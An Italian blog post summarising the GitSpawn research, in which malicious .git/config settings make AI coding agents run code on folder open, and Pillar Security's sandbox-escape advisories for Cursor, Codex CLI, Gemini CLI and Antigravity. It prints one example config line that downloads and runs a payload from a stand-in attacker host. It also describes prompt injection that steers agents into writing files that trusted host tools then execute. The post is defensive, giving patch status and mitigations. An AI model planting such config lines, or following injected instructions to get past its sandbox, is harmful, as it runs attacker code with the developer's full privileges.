#agentiai

Il problema non è nel modello AI, ma nell’idraulica sotto di essoI ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, #OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di #patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le #performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code executioncore.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da #GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un #backup ripristinato, un progetto trasferito via #cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
fsmonitor = "sh -c 'curl attacker.example/payload | sh'"Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosaLa ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);

prima dell’autenticazione dell’utente (Qwen Code);

prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleliOltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)AgenteVersioni coinvolteStatogoose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)Cursorvarie build CLIPatchatoClaude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)Qwen Code0.19.6, 0.22.3Non patchatoGrok Build0.2.93, 1.0.13Non patchatoAl momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOpsIn attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
git config --global core.fsmonitor false

Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
git config --global --list | grep fsmonitor
git config --get core.fsmonitor
git config --get core.hooksPath

Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.

Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.

Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.

Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.

Perché riguarda anche voi, se non usate ancora agenti AI per il codiceGitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).

Il sandbox non basta più: come Cursor, Codex, Gemini CLI e Antigravity sono stati bypassatiPer mesi il messaggio rassicurante degli editor e delle CLI potenziate da AI è stato semplice: l’agente lavora dentro un sandbox, quindi anche se un prompt injection lo convince a fare qualcosa di malevolo, il danno resta confinato al workspace. Il team di ricerca di Pillar Security ha appena dimostrato, in una serie di sette advisory pubblicate come “The Week of Sandbox Escapes”, che questa assunzione è sbagliata per almeno quattro strumenti molto usati da sviluppatori e sistemisti: Cursor, OpenAI Codex CLI, Google Gemini CLI e Antigravity.

La cosa interessante, e preoccupante, è che in nessuno dei casi l’agente ha attaccato direttamente il confine del sandbox. Ha semplicemente scritto un file che uno strumento fidato, esterno al sandbox, ha poi eseguito, caricato o scansionato per conto proprio.

Il vero confine non è il processo dell’agenteIl modello mentale comune è: “dentro il workspace l’agente può fare quello che vuole, fuori è protetto”. Pillar mostra che questo confine ha in realtà tre livelli distinti:

Esecuzione diretta: cosa può lanciare il processo dell’agente

Scrittura nel workspace: quali file l’agente può creare o modificare

Fiducia dell’host: cosa fanno i componenti non sandboxati con quei file

È il terzo livello a rompersi sistematicamente. Editor e CLI moderni sono pieni di automazioni che girano fuori dal sandbox: estensioni Python che scoprono interpreti, integrazioni Git che scansionano repository, VS Code che carica task file, hook engine che eseguono comandi al lifecycle, Docker Desktop che espone un socket locale privilegiato. Un agente sandboxato può rispettare ogni singola regola che gli è stata imposta e comunque condizionare l’input che questi componenti consumeranno.

Le quattro classi di vulnerabilitàI ricercatori raggruppano i sette bug in quattro pattern ricorrenti:

1. Sandbox a denylist che non tengono il passo del sistema operativoIl caso più chiaro è la sandbox Seatbelt di Antigravity su macOS: un profilo “allow by default” deve ricordarsi di bloccare ogni singola funzionalità pericolosa del sistema operativo. Come scrive Pillar, “non è un sandbox, è una lista di cose che qualcuno si è ricordato di bloccare, sempre corta di una voce”.

2. Configurazioni di progetto che sono a tutti gli effetti codice eseguibileDiversi bug non sono breakout classici: l’agente ha scritto file che era autorizzato a scrivere. Il problema è nato dopo, quando l’host ha trattato quei file come configurazione fidata. È il caso dell’hook .claude in Cursor, diventato esecuzione di comandi non sandboxata (ora CVE-2026-48124, corretto nella 3.0.0), o del task config .vscode che Antigravity ha usato per aggirare la sua Secure Mode.

3. Allowlist di comandi “sicuri” per nome, non per invocazioneIn Codex CLI, un comando come git show era considerato sicuro perché il nome suggerisce sola lettura. Ma Git ha decine di flag che cambiano completamente il comportamento: possono scrivere file, caricare configurazioni, invocare hook. La domanda giusta, scrivono i ricercatori, non è “git show è sicuro?” ma “quale invocazione esatta viene eseguita, con quali argomenti, in quale directory, contro quale configurazione?”. OpenAI ha corretto il bug nella v0.95.0 e pagato una bounty per severità alta.

4. Demoni locali privilegiati fuori dal sandboxIl bug più trasversale riguarda il socket Docker: un demone locale privilegiato raggiungibile da Codex, Cursor e Gemini CLI contemporaneamente, che diventava un ambiente di esecuzione non sandboxato. Sandboxare il processo dell’agente non serve a nulla se lascia aperto un demone con accesso pieno all’host: il confine si sposta semplicemente sull’API del demone.

Come si arriva all’exploit: il ruolo del prompt injectionIn tutti i casi il vettore d’ingresso è un’istruzione malevola nascosta in un README, in una issue, in una dipendenza o in un diff, che l’agente legge come input “normale” durante il suo lavoro. Da lì, l’istruzione si trasforma in un’azione locale sulla macchina dello sviluppatore, senza che l’utente abbia mai approvato esplicitamente nulla di sospetto: dal punto di vista dell’agente, ha semplicemente scritto un file di configurazione plausibile in un progetto.

Google ha classificato le due vulnerabilità di Antigravity come “Other valid security vulnerabilities”, applicando un downgrade perché richiedono ingegneria sociale o che l’utente si fidi di un repository con prompt injection indiretto — pur riconoscendo, nelle parole dei ricercatori, che uno dei report era “di qualità eccezionale”.

Cosa chiedere ai vendor (e cosa verificare in azienda)Per chi gestisce endpoint di sviluppo con strumenti agentici, Pillar suggerisce di andare oltre la domanda “ha un sandbox?” e porsi domande più operative:

Cosa può scrivere l’agente, esattamente?

Quali componenti dell’host si fidano di quei file?

Quali demoni locali privilegiati sono raggiungibili dall’agente?

Quali comandi saltano l’approvazione, e perché?

La policy valuta il nome del comando o l’invocazione e i suoi effetti reali?

Il prodotto distingue file creati dall’utente da file creati dall’agente?

Che telemetria esiste quando un componente fidato esegue qualcosa scritto dall’agente?

Sul piano pratico, per chi amministra postazioni di sviluppo con Cursor, Codex CLI, Gemini CLI o Antigravity: aggiornate immediatamente alle versioni patchate (Cursor 3.0.0+, Codex CLI 0.95.0+), verificate che l’accesso al socket Docker dagli strumenti AI sia effettivamente ristretto quando non necessario, e trattate le configurazioni di progetto generate o modificabili da un agente (hook, task VS Code, config Git non standard) come superficie di attacco da rivedere in code review, non come dettagli innocui.

ConclusioneIl punto centrale della ricerca di Pillar non è la lista dei singoli bug, quasi tutti già corretti, ma il pattern che li accomuna: gli agenti di coding sono diventati attori endpoint a tutti gli effetti, con accesso a codice sorgente, chiavi SSH, token cloud e sessioni browser, e processano di routine input non fidato (README, issue, dipendenze, diff). Un sandbox che protegge solo il processo dell’agente, ignorando cosa scrive e chi si fida di quello che scrive, non è un confine di sicurezza reale. Per chi introduce questi strumenti in azienda, la domanda da porsi non è più “abbiamo attivato il sandbox”, ma “sappiamo tracciare ogni volta che un componente fidato dell’host esegue qualcosa che l’agente ha scritto”.

Fonte: Pillar Security, “The Week of Sandbox Escapes” e BleepingComputer.